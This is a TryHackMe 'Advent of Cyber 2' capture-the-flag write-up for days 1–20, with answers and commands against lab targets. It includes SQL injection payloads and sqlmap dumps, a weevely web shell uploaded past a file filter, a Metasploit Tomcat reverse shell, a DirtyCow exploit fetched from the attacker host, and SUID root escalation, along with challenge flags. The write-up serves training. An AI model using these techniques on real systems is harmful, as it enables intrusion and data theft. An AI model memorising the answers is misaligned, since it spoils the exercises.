Advent of Cyber 2 - Write-up - TryHackMe

Information

Room#

  • Name: Advent of Cyber 2
  • Profile: tryhackme.com
  • Difficulty: Easy
  • Description: Get started with Cyber Security in 25 Days - Learn the basics by doing a new, beginner friendly security challenge every day leading up to Christmas.

Advent of Cyber 2

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

$ sudo pacman -S jq vim ffuf weevely sqlmap peass python ruby nmap perl-image-exiftool lynx

Disclaimer: there are answer without explanation because they are too easy to even require a write-up or just need to follow the instruction of the task.

[Day 1] Web Exploitation - A Christmas Crisis#

Register for an account, and then login.

What is the name of the cookie used for authentication?

Answer: auth

In what format is the value of this cookie encoded?

Answer: hexadecimal

Having decoded the cookie, what format is the data stored in?

Answer: json

$ printf %s '7b22636f6d70616e79223a22546865204265737420466573746976616c20436f6d70616e79222c2022757365726e616d65223a226e6f72616a227d' | xxd -r -p | jq
{
  "company": "The Best Festival Company",
  "username": "noraj"
}

Figure out how to bypass the authentication.

What is the value of Santa's cookie?

Answer: 7b22636f6d70616e79223a22546865204265737420466573746976616c20436f6d70616e79222c2022757365726e616d65223a2273616e7461227d

$ printf %s '{"company":"The Best Festival Company", "username":"santa"}' | xxd -p | tr -d '\n'

Now that you are the santa user, you can re-activate the assembly line!

What is the flag you're given when the line is fully active?

Answer: THM{MjY0Yzg5NTJmY2Q1NzM1NjBmZWFhYmQy}

[Day 2] Web Exploitation - The Elf Strikes Back!#

What string of text needs adding to the URL to get access to the upload page?

Answer: ?id=ODIzODI5MTNiYmYw

What type of file is accepted by the site?

Answer: image

<input type=file id="chooseFile" accept=".jpeg,.jpg,.png">

Bypass the filter and upload a reverse shell.

In which directory are the uploaded files stored?

Answer: /uploads/

$ ffuf -u http://10.10.234.68/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -ac

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.2.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.234.68/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response size: 638,234
 :: Filter           : Response words: 30,16
 :: Filter           : Response lines: 21,10
________________________________________________

edited                  [Status: 301, Size: 236, Words: 14, Lines: 8]
assets                  [Status: 301, Size: 235, Words: 14, Lines: 8]
noindex                 [Status: 301, Size: 236, Words: 14, Lines: 8]
:: Progress: [17770/17770] :: Job [1/1] :: 1055 req/sec :: Duration: [0:00:17] :: Errors: 0 ::

$ weevely generate noraj agent.php
Generated 'agent.php' with password 'noraj' of 764 byte size.

$ mv agent.php agent.png.php

What is the flag in /var/www/flag.txt?

Answer: THM{MGU3Y2UyMGUwNjExYTY4NTAxOWJhMzhh}

$ weevely http://10.10.234.68/uploads/agent.png.php noraj

[+] weevely 4.0.1

[+] Target:     10.10.234.68
[+] Session:    /home/noraj/.weevely/sessions/10.10.234.68/agent.png_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> id
uid=48(apache) gid=48(apache) groups=48(apache)
security-server:/var/www/html/uploads $ cat /var/www/flag.txt


==============================================================


You've reached the end of the Advent of Cyber, Day 2 -- hopefully you're enjoying yourself so far, and are learning lots!
This is all from me, so I'm going to take the chance to thank the awesome @Vargnaar for his invaluable design lessons, without which the theming of the past two websites simply would not be the same.


Have a flag -- you deserve it!
THM{EDITED}


Good luck on your mission (and maybe I'll see y'all again on Christmas Eve)!
 --Muiri (@MuirlandOracle)


==============================================================

[Day 3] Web Exploitation - Christmas Chaos#

What is the flag?

Answer: THM{885ffab980e049847516f9d8fe99ad1a}

[Day 4] Web Exploitation - Santa's watching#

Given the URL "http://shibes.xyz/api.php", what would the entire wfuzz command look like to query the "breed" parameter using the wordlist "big.txt" (assume that "big.txt" is in your current directory)

Answer: wfuzz -d -z file,big.txt http://shibes.xyz/api.php?breed=FUZZ

Use GoBuster (against the target you deployed -- not the shibes.xyz domain) to find the API directory. What file is there?

Answer: site-log.php

$ ffuf -u http://10.10.74.101/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
...
api                     [Status: 301, Size: 310, Words: 20, Lines: 10]

Fuzz the date parameter on the file you found in the API directory. What is the flag displayed in the correct post?

Answer: THM{D4t3_AP1}

$ ffuf -u 'http://10.10.74.101/api/site-log.php?date=FUZZ' -c -w ./wordlist -fs 0
...
20201125                [Status: 200, Size: 13, Words: 1, Lines: 1]

$ curl http://10.10.74.101/api/site-log.php\?date\=20201125

[Day 5] Web Exploitation - Someone stole Santa's gift list!#

wishlist.txt port 8000

Without using directory brute forcing, what's Santa's secret login panel?

Answer: /santapanel

How many entries are there in the gift database?

Answer: 22

Exploit the SQLi on login form (manually):

  • username: admin' OR 1=1-- -
  • password: whatever

Exploit the SQLi on the search form (automatically):

search.txt

GET /santapanel?search=noraj HTTP/1.1
Host: 10.10.198.108:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: session=eyJhdXRoIjp0cnVlfQ.X8vB4g.vQi1q7sSMusE3-whLNupQHYh1G8
Upgrade-Insecure-Requests: 1
$ sqlmap -r "$(pwd)/search.txt" --tamper=space2comment --dbms sqlite
...
---
Parameter: search (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: search=noraj' UNION ALL SELECT 'qxxzq'||'gpOvtwZzKGIQTXskwXxvImoRWbRyACqVwoNwNloR'||'qkjxq',NULL-- eXMH
---

$ sqlmap -r "$(pwd)/search.txt" --tamper=space2comment --dbms sqlite --count
...
Database: SQLite_masterdb
+--------------+---------+
| Table        | Entries |
+--------------+---------+
| sequels      | edited  |
| hidden_table | 1       |
| users        | 1       |
+--------------+---------+

What did Paul ask for?

Answer: github ownership

$ sqlmap -r "$(pwd)/search.txt" --tamper=space2comment --dbms sqlite -D gift -T sequels --dump
...
+-------------+-----+----------------------------+
| kid         | age | title                      |
+-------------+-----+----------------------------+
| James       | 8   | shoes                      |
| John        | 4   | skateboard                 |
| Robert      | 17  | iphone                     |
| Michael     | 5   | playstation                |
| William     | 6   | xbox                       |
| David       | 6   | candy                      |
| Richard     | 9   | books                      |
| Joseph      | 7   | socks                      |
| Thomas      | 10  | 10 McDonalds meals         |
| Charles     | 3   | toy car                    |
| Christopher | 8   | air hockey table           |
| Daniel      | 12  | lego star wars             |
| Matthew     | 15  | bike                       |
| Anthony     | 3   | table tennis               |
| Donald      | 4   | fazer chocolate            |
| Mark        | 17  | wii                        |
| Paul        | 9   | edited                     |
| James       | 8   | finnish-english dictionary |
| Steven      | 11  | laptop                     |
| Andrew      | 16  | rasberry pie               |
| Kenneth     | 19  | TryHackMe Sub              |
| Joshua      | 12  | chair                      |
+-------------+-----+----------------------------+

What is the flag?

Answer: thmfox{All_I_Want_for_Christmas_Is_You}

$ sqlmap -r "$(pwd)/search.txt" --tamper=space2comment --dbms sqlite -D gift -T hidden_table --dump
...
+-----------------------------------------+
| flag                                    |
+-----------------------------------------+
| thmfox{edited                         } |
+-----------------------------------------+

What is admin's password?

Answer: EhCNSWzzFP6sc7gB

$ sqlmap -r "$(pwd)/search.txt" --tamper=space2comment --dbms sqlite -D gift -T users --dump
...
+------------------+----------+
| password         | username |
+------------------+----------+
| edited           | admin    |
+------------------+----------+

[Day 6] Web Exploitation - Be careful with what you wish on a Christmas night#

What vulnerability type was used to exploit the application?

Answer: stored Cross-site scripting

What query string can be abused to craft a reflected XSS?

Answer: q

Run a ZAP (zaproxy) automated scan on the target. How many XSS alerts are in the scan?

Answer: 2

[Day 7] Networking - The Grinch Really Did Steal Christmas#

Open "pcap1.pcap" in Wireshark. What is the IP address that initiates an ICMP/ping?

Answer: 10.11.3.2

If we only wanted to see HTTP GET requests in our "pcap1.pcap" file, what filter would we use?

Answer: http.request.method == GET

Now apply this filter to "pcap1.pcap" in Wireshark, what is the name of the article that the IP address "10.10.67.199" visited?

Answer: reindeer-of-the-week

Let's begin analysing "pcap2.pcap". Look at the captured FTP traffic; what password was leaked during the login process?

There's a lot of irrelevant data here - Using a filter here would be useful!

Answer: plaintext_password_fiasco

Continuing with our analysis of "pcap2.pcap", what is the name of the protocol that is encrypted?

Answer: ssh

Analyse "pcap3.pcap" and recover Christmas!

What is on Elf McSkidy's wishlist that will be used to replace Elf McEager?

Answer: Rubber ducky

[Day 8] Networking - What's Under the Christmas Tree?#

When was Snort created?

Answer: 1998

https://en.wikipedia.org/wiki/Snort_(software)

Using Nmap on 10.10.237.125, what are the port numbers of the three services running? (Please provide your answer in ascending order/lowest -> highest, separated by a comma)

Answer: 80,2222,3389

Use Nmap to determine the name of the Linux distribution that is running, what is reported as the most likely distribution to be running?

Answer: Ubuntu

Use Nmap's Network Scripting Engine (NSE) to retrieve the "HTTP-TITLE" of the webserver. Based on the value returned, what do we think this website might be used for?

Answer: blog

[Day 9] Networking - Anyone can be Santa!#

Question #1: Name the directory on the FTP server that has data accessible by the "anonymous" user

Answer: public

Question #2: What script gets executed within this directory?

Answer: backup.sh

Question #3: What movie did Santa have on his Christmas shopping list?

Answer: The Polar Express

Question #4: Re-upload this script to contain malicious data (just like we did in section 9.6. Output the contents of /root/flag.txt!

Answer: THM{even_you_can_be_santa}

[Day 10] Networking - Don't be sElfish!#

Question #1 Using enum4linux, how many users are there on the Samba server (MACHINE_IP)?

Answer: 3

Question #2 Now how many "shares" are there on the Samba server?

Answer: 4

Question #3 Use smbclient to try to login to the shares on the Samba server (MACHINE_IP). What share doesn't require a password?

Answer: tbfc-santa

Question #4 Log in to this share, what directory did ElfMcSkidy leave for Santa?

Answer: jingle-tunes

[Day 11] Networking - The Rogue Gnome#

What type of privilege escalation involves using a user account to execute commands as an administrator?

Answer: vertical

What is the name of the file that contains a list of users who are a part of the sudo group?

Answer: sudoers

Use this executable to launch a system shell as root.

What are the contents of the file located at /root/flag.txt?

Answer: thm{2fb10afe933296592}

On our machine, launch a web server to serve linpeas:

$ ruby -run -ehttpd /usr/share/peass/linPEAS/ -p8080

On the target, download it:

-bash-4.4$ wget http://10.9.19.77:8080/linpeas.sh
-bash-4.4$ chmod u+x linpeas.sh
-bash-4.4$ ./linpeas.sh
...
-rwsr-xr-x 1 root   root            1.1M Jun  6  2019 /bin/bash
-bash-4.4$ bash -p
bash-4.4# id
uid=1000(cmnatic) gid=1000(cmnatic) euid=0(root) groups=1000(cmnatic),24(cdrom),30(dip),46(plugdev)
bash-4.4# cat /root/flag.txt

[Day 12] Networking - Ready, set, elf.#

What is the version number of the web server?

Answer: 9.0.17

$ sudo nmap -sSVC 10.10.111.98 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-12 18:30 CET
Nmap scan report for 10.10.111.98
Host is up (0.039s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: TBFC-WEB-01
|   NetBIOS_Domain_Name: TBFC-WEB-01
|   NetBIOS_Computer_Name: TBFC-WEB-01
|   DNS_Domain_Name: tbfc-web-01
|   DNS_Computer_Name: tbfc-web-01
|   Product_Version: 10.0.17763
|_  System_Time: 2020-12-12T17:31:13+00:00
| ssl-cert: Subject: commonName=tbfc-web-01
| Not valid before: 2020-11-27T01:29:04
|_Not valid after:  2021-05-29T01:29:04
|_ssl-date: 2020-12-12T17:31:15+00:00; -1s from scanner time.
8009/tcp open  ajp13         Apache Jserv (Protocol v1.3)
| ajp-methods:
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http          Apache Tomcat 9.0.17
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.17
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.22 seconds

What CVE can be used to create a Meterpreter entry onto the machine? (Format: CVE-XXXX-XXXX)

Answer: CVE-2019-0232

What are the contents of flag1.txt

Answer: thm{whacking_all_the_elves}

msf6 exploit(windows/http/tomcat_cgi_cmdlineargs) > options

Module options (exploit/windows/http/tomcat_cgi_cmdlineargs):

   Name       Current Setting          Required  Description
   ----       ---------------          --------  -----------
   Proxies                             no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.111.98             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8080                     yes       The target port (TCP)
   SSL        false                    no        Negotiate SSL/TLS for outgoing connections
   SSLCert                             no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /cgi-bin/elfwhacker.bat  yes       The URI path to CGI script
   VHOST                               no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.9.19.77       yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Apache Tomcat 9.0 or prior for Window

meterpreter > shell
Process 1492 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 4277-4242

 Directory of C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin

12/12/2020  17:43    <DIR>          .
12/12/2020  17:43    <DIR>          ..
19/11/2020  21:39               825 elfwhacker.bat
19/11/2020  22:06                27 flag1.txt
12/12/2020  17:43            73,802 ZvkPf.exe
               3 File(s)         74,654 bytes
               2 Dir(s)  13,493,211,136 bytes free

C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin>type flag1.txt

[Day 13] Special by John Hammond - Coal for Christmas#

What old, deprecated protocol and service is running?

Answer: telnet

Launch a scan with service and version discovery:

# Nmap 7.91 scan initiated Mon Dec 14 20:13:12 2020 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.141.2
Nmap scan report for 10.10.141.2
Host is up (0.042s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 68:60:de:c2:2b:c6:16:d8:5b:88:be:e3:cc:a1:25:75 (DSA)
|   2048 50:db:75:ba:11:2f:43:c9:ab:14:40:6d:7f:a1:ee:e3 (RSA)
|_  256 11:5d:55:29:8a:77:d8:08:b4:00:9b:a3:61:93:fe:e5 (ECDSA)
23/tcp    open  telnet  Linux telnetd
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          37931/tcp   status
|   100024  1          39855/udp   status
|   100024  1          51151/udp6  status
|_  100024  1          52235/tcp6  status
37931/tcp open  status  1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Dec 14 20:13:40 2020 -- 1 IP address (1 host up) scanned in 28.67 seconds

What credential was left for you?

Answer: clauschristmas

What distribution of Linux and version number is this server running?

Answer: Ubuntu 12.04

$ cat /etc/*-release

Who got here first?

Answer: Grinch

$ uname -a
Linux christmas 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
$ cat cookies_and_milk.txt

What is the verbatim syntax you can use to compile, taken from the real C source code comments?

Answer: gcc -pthread dirty.c -o dirty -lcrypt

$ wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c
$ ruby -run -ehttpd . -p8080

On the target machine:

$ wget http://10.9.19.77:8080/dirty.c
$ gcc -pthread dirty.c -o dirty -lcrypt

What "new" username was created, with the default operations of the real C source code?

Answer: firefart

What is the MD5 hash output?

Answer: 8b16f00dd3b51efadb02c1df7f8427cc

firefart@christmas:/home/santa# cd
firefart@christmas:~# cat message_from_the_grinch.txt
firefart@christmas:~# touch coal
firefart@christmas:~# tree | md5sum

[Day 14] Special by TheCyberMentor - Where's Rudolph?#

What URL will take me directly to Rudolph's Reddit comment history?

Answer: https://www.reddit.com/user/IGuidetheClaus2020/comments/

  1. Search for IGuidetheClaus2020 on Namech_k
  2. Go to Usernames section
  3. Click on the reddit link
  4. Click on the Comments section
  5. Copy the URL

According to Rudolph, where was he born?

Answer: Chicago

Browse the reddit comment history to find the message:

Fun fact: I was actually born in <edited> and my creator's name was Robert!

Rudolph mentions Robert. Can you use Google to tell me Robert's last name?

Answer: May

Search for something like Rudolph's creator robert and you will find some Wikipedia pages:

  • The one of the creator : Robert L.
  • The one of Rudolph

On what other social media platform might Rudolph have an account?

Answer: twitter

Just guessing.

What is Rudolph's username on that platform?

Answer: IGuideClaus2020

  1. Search IGuidetheClaus2020 on twitter search bar
  2. One account has IGuidetheClaus2020 as a display name but a different account name (twitter handle)

What appears to be Rudolph's favorite TV show right now?

Answer: bachelorette

  1. Broswe his twitter history
  2. There are several posts about a TV show

Based on Rudolph's post history, he took part in a parade. Where did the parade take place?

Answer: chicago

  1. Download the images from the post where he took part in a parade.
  2. Image 1
  3. Image 2
  4. Upload them to Google Images
  5. Eventually find a press article talking about the parade

Okay, you found the city, but where specifically was one of the photos taken?

Answer: 41.891815, -87.624277

  1. There is a post saying:

Here's a higher resolution to one of the photos from earlier

  1. Download the image
  2. Run exiftool on it (exiftool lights-festival-website.jpg) to look at EFIX metadata
  3. GPS Position is displayed but not in the expected format so let's do the same on http://exif.regex.info/exif.cgi instead

Did you find a flag too?

Answer: {FLAG}ALWAYSCHECKTHEEXIFD4T4

There was a flag hidden in the copyright information field.

Has Rudolph been pwned? What password of his appeared in a breach?

Answer: spygame

  1. Navigate to https://scylla.sh/api
  2. Search for email:rudolphthered@hotmail.com

Based on all the information gathered. It's likely that Rudolph is in the Windy City and is staying in a hotel on Magnificent Mile. What are the street numbers of the hotel address?

Answer: 540

  1. Use the GPS Position we found earlier on openstreetmap
  2. Look for the nearest Hotel: Chicago Marriott Downtown Magnificent Mile
  3. Right click on Show address*
  4. Look at the street number

[Day 15] Scripting - There's a Python in my stocking!#

What's the output of True + True?

Answer: 2

In python True + True equals two, wich doesn't make sense because you can add booleans or concatenate them or whetever.

$ python
Python 3.9.0 (default, Oct  7 2020, 23:09:01)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> True + True
2

So it seems they considered that the True boolean would be truthy as well a one and False boolean would be falsy as well as zero. So they decided to cast True as one when there is a + operation between booleans. And so 1 + 1 = 2. Which is stupid and confusing.

In ruby true + true properly raises an error:

$ irb
irb(main):001:0> true + true
Traceback (most recent call last):
        4: from /usr/bin/irb:23:in `<main>'
        3: from /usr/bin/irb:23:in `load'
        2: from /usr/lib/ruby/gems/2.7.0/gems/irb-1.2.7/exe/irb:11:in `<top (required)>'
        1: from (irb):1
NoMethodError (undefined method `+' for true:TrueClass)

Because the + operator was not implemented for booleans which make more sense and is expected.

What's the database for installing other peoples libraries called?

Answer: pypi

For python it's called pypi, for ruby it is called rubygems.

What is the output of bool("False")?

Answer: true

In python any string is considered truthy so casting a string into a boolean will always return true. And an empty string is considered falsy so will return false.

>>> bool("False")
True
>>> bool("noraj")
True
>>> bool("")
False

This weird behavior is the same in PHP.

In ruby there isn't such an unobvious behavior but you can check is the object is empty and that will return a boolean, which make more sense:

irb(main):001:0> "noraj".empty?
=> false
irb(main):002:0> "".empty?
=> true
irb(main):003:0> [0].empty?
=> false
irb(main):004:0> [].empty?

What library lets us download the HTML of a webpage?

Answer: requests

In python there is no native high-level HTTP client but there are:

In ruby there is Net::HTTP native both high and low level library so you don't necessarily need a third party library but if you want more sugar there are many third party options, here a few between the most popular ones:

What is the output of the program provided in "Code to analyse for Question 5" in today's material?

x = [1, 2, 3]
y = x
y.append(6)
print(x)

Answer: [1, 2, 3, 6]

In python

>>> x = [1, 2, 3]
>>> y = x
>>> y.append(6)
>>> print(x)
[1, 2, 3, 6]

Note: this code works in ruby too:

irb(main):001:0> x = [1, 2, 3]
=> [1, 2, 3]
irb(main):002:0> y = x
=> [1, 2, 3]
irb(main):003:0> y.append(6)
=> [1, 2, 3, 6]
irb(main):004:0> print(x)
[1, 2, 3, 6]=> nil
irb(main):005:0> x
=> [1, 2, 3, 6]

What causes the previous task to output that?

Answer: pass by reference

[Day 16] Scripting - Help! Where is Santa?#

What is the port number for the web server?

Answer: 8000

Let's find the port using nmap:

$ nmap -sSV -p- -v -oA nmap_scan 10.10.126.254

Without using enumerations tools such as Dirbuster, what is the directory for the API? (without the API key)

Answer: /api/

Just guessing it is the very classic /api/.

Find out the correct API key. Remember, this is an odd number between 0-100. After too many attempts, Santa's Sled will block you.

To unblock yourself, simply terminate and re-deploy the target instance (10.10.126.254)

Answer: 57

First let's try to retrieve all the links on the page:

$ lynx -dump -listonly -nonumbers http://10.10.207.230:8000/static/index.html
   Visible links:
http://10.10.207.230:8000/
http://10.10.207.230:8000/static/index.html
https://github.com/BulmaTemplates/bulma-templates/blob/master/templates/hero.html
https://tryhackme.com/
https://tryhackme.com/
https://tryhackme.com/
https://tryhackme.com/
https://tryhackme.com/
https://tryhackme.com/
https://tryhackme.com/
https://tryhackme.com/
https://tryhackme.com/
https://tryhackme.com/
https://tryhackme.com/
http://10.10.207.230:8000/static/index.html
http://10.10.207.230:8000/static/index.html
http://10.10.207.230:8000/static/index.html
http://10.10.207.230:8000/static/index.html
http://10.10.207.230:8000/static/index.html
http://10.10.207.230:8000/static/index.html
http://10.10.207.230:8000/static/index.html
http://10.10.207.230:8000/static/index.html
http://10.10.207.230:8000/static/index.html
http://machine_ip/api/api_key
http://10.10.207.230:8000/static/index.html
http://10.10.207.230:8000/static/index.html
http://10.10.207.230:8000/static/index.html
http://10.10.207.230:8000/static/index.html
http://10.10.207.230:8000/static/index.html
http://10.10.207.230:8000/static/index.html
http://10.10.207.230:8000/static/index.html
http://10.10.207.230:8000/static/index.html
http://10.10.207.230:8000/static/index.html

   Hidden links:
https://github.com/BulmaTemplates/bulma-templates
https://github.com/BulmaTemplates/bulma-templates

So here is the API link:

http://10.10.49.232:8000/api/<api_key>

We just have to BF odd numbers between 0-100 (1, 3, ... 99).

No need to create a custom script for such a simple task, burp can handle that.

The wrong keys have an answer of 186 bytes, and the right key of 202 bytes.

Where is Santa right now?

Answer: Winter Wonderland, Hyde Park, London

It is the answer from the API when you specify the right key.

[Day 17] Reverse Engineering - ReverseELFneering#

What is the value of local_ch when its corresponding movl instruction is called (first if multiple)?

Answer: 1

Try the Intro to x86-64 room to understand basic x86-64 assembly instructions, radare2 commands and reverse engineering.

Set a breakpoint on the move, start the prog, hit the breackpoint, step to the next instruction, display the value of local_ch.

$ r2 -d challenge1
[0x00400a30]> e asm.syntax=att
[0x00400a30]> aa
[0x00400a30]> pdf@main
[0x00400a30]> db 0x00400b51
[0x00400b51]> px 4 @ rbp-0xc
[0x00400b51]> ds
[0x00400b51]> px 4 @ rbp-0xc

What is the value of eax when the imull instruction is called?

Answer: 6

Set a breakpoint on the imull, resume execution, hit breakpoint, go one step after, read register.

[0x00400b51]> pdf@main
[0x00400b51]> db 0x00400b62
[0x00400b51]> dc
[0x00400b51]> dr
[0x00400b51]> ds
[0x00400b51]> dr | grep rax

What is the value of local_4h before eax is set to 0?

Answer: 6

Set a breakpoint on the instruction where eax is set to zero, resume execution, hit breakpoint, read local_4h.

[0x00400b51]> pdf@main
[0x00400b51]> db 0x00400b69
[0x00400b51]> dc
[0x00400b51]> px 4 @ rbp-0x4

[Day 18] Reverse Engineering - The Bits of Christmas#

What is Santa's password?

Answer: santapassword321

  • Login via RDP
  • Launch ILspy
  • Open TBFC_APP.exe in ILspy

Once the app is decompiled in ILspy go to: TBFC_APP > CrackMe > MainForm > buttonActivate_Click()

And here we have the code delivering the flag:

// CrackMe.MainForm
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;

private unsafe void buttonActivate_Click(object sender, EventArgs e)
{
  IntPtr value = Marshal.StringToHGlobalAnsi(textBoxKey.Text);
  sbyte* ptr = (sbyte*)System.Runtime.CompilerServices.Unsafe.AsPointer(ref <Module>.??_C@_0BB@IKKDFEPG@edited@);
  void* ptr2 = (void*)value;
  byte b = *(byte*)ptr2;
  byte b2 = 115;
  if ((uint)b >= 115u)
  {
    while ((uint)b <= (uint)b2)
    {
      if (b != 0)
      {
        ptr2 = (byte*)ptr2 + 1;
        ptr++;
        b = *(byte*)ptr2;
        b2 = (byte)(*ptr);
        if ((uint)b < (uint)b2)
        {
          break;
        }
        continue;
      }
      MessageBox.Show("Welcome, Santa, here's your flag thm{edited}", "That's the right key!", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
      return;
    }
  }
  MessageBox.Show("Uh Oh! That's the wrong key", "You're not Santa!", MessageBoxButtons.OK, MessageBoxIcon.Hand);
}

The password is hidden in the module name.

Now that you've retrieved this password, try to login...What is the flag?

Answer: thm{046af}

See the answer of the previous question.

[Day 19] Special by Tib3rius - The Naughty or Nice List#

What is Santa's password?

Answer: Be good for goodness sake!

Retrieve the URL after a search: http://10.10.222.113/?proxy=http://list.hohoho:8080/search.php?name=noraj

list.hohoho is the only accepted domain (whitelist), so let's find a bypass for localhost such as using https://readme.localtest.me/ service that will resolve to 127.0.0.1.

As there is a web server running on localhost it displays us this message

Santa,

If you need to make any changes to the Naughty or Nice list, you need to login.

I know you have trouble remembering your password so here it is: edited.

  • Elf McSkidy

What is the challenge flag?

Answer: THM{EVERYONE_GETS_PRESENTS}

Log in we the creds on the admin form:

  • Username: Santa (case sensitive)
  • Password: found in previous question

After being redirected to http://10.10.222.113/admin.php, delete the naughty list and grab the flag.

[Day 20] Blue Teaming - PowershELlF to the rescue#

Search for the first hidden elf file within the Documents folder. Read the contents of this file. What does Elf 1 want?

Answer: 2 front teeth

Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

mceager@ELFSTATION1 C:\Users\mceager>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\mceager> cd .\Documents\
PS C:\Users\mceager\Documents> ls


    Directory: C:\Users\mceager\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       11/23/2020  12:06 PM             22 elfone.txt


PS C:\Users\mceager\Documents> ls -hidden


    Directory: C:\Users\mceager\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--hsl        12/7/2020  10:28 AM                My Music
d--hsl        12/7/2020  10:28 AM                My Pictures
d--hsl        12/7/2020  10:28 AM                My Videos
-a-hs-        12/7/2020  10:29 AM            402 desktop.ini
-arh--       11/18/2020   5:05 PM             35 e1fone.txt

PS C:\Users\mceager\Documents> gc e1fone.txt

Search on the desktop for a hidden folder that contains the file for Elf 2. Read the contents of this file. What is the name of that movie that Elf 2 wants?

Answer: Scrooged

PS C:\Users\mceager\Documents> cd ..\Desktop
PS C:\Users\mceager\Desktop> ls -hidden


    Directory: C:\Users\mceager\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--h--        12/7/2020  11:26 AM                elf2wo
-a-hs-        12/7/2020  10:29 AM            282 desktop.ini
PS C:\Users\mceager\Desktop> cd elf2wo
PS C:\Users\mceager\Desktop\elf2wo> ls


    Directory: C:\Users\mceager\Desktop\elf2wo


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       11/17/2020  10:26 AM             64 e70smsW10Y4k.txt
PS C:\Users\mceager\Desktop\elf2wo> gc e70smsW10Y4k.txt

Search the Windows directory for a hidden folder that contains files for Elf 3. What is the name of the hidden folder? (This command will take a while)

Answer: 3lfthr3e

PS C:\Users\mceager\Desktop\elf2wo> cd C:\Windows
PS C:\Windows> cd System32
PS C:\Windows\System32> ls -hidden


    Directory: C:\Windows\System32


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--h--       11/23/2020   3:26 PM                edited
d--h--       11/23/2020   2:26 PM                GroupPolicy

How many words does the first file contain?

Answer: 9999

PS C:\Windows\System32> cd 3lfthr3e
PS C:\Windows\System32\3lfthr3e> ls
PS C:\Windows\System32\3lfthr3e> ls -hidden


    Directory: C:\Windows\System32\3lfthr3e


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-arh--       11/17/2020  10:58 AM          85887 1.txt
-arh--       11/23/2020   3:26 PM       12061168 2.txt

PS C:\Windows\System32\3lfthr3e> gc 1.txt | measure -word

What 2 words are at index 551 and 6991 in the first file?

Answer: Red Ryder

PS C:\Windows\System32\3lfthr3e> (gc 1.txt)[551]
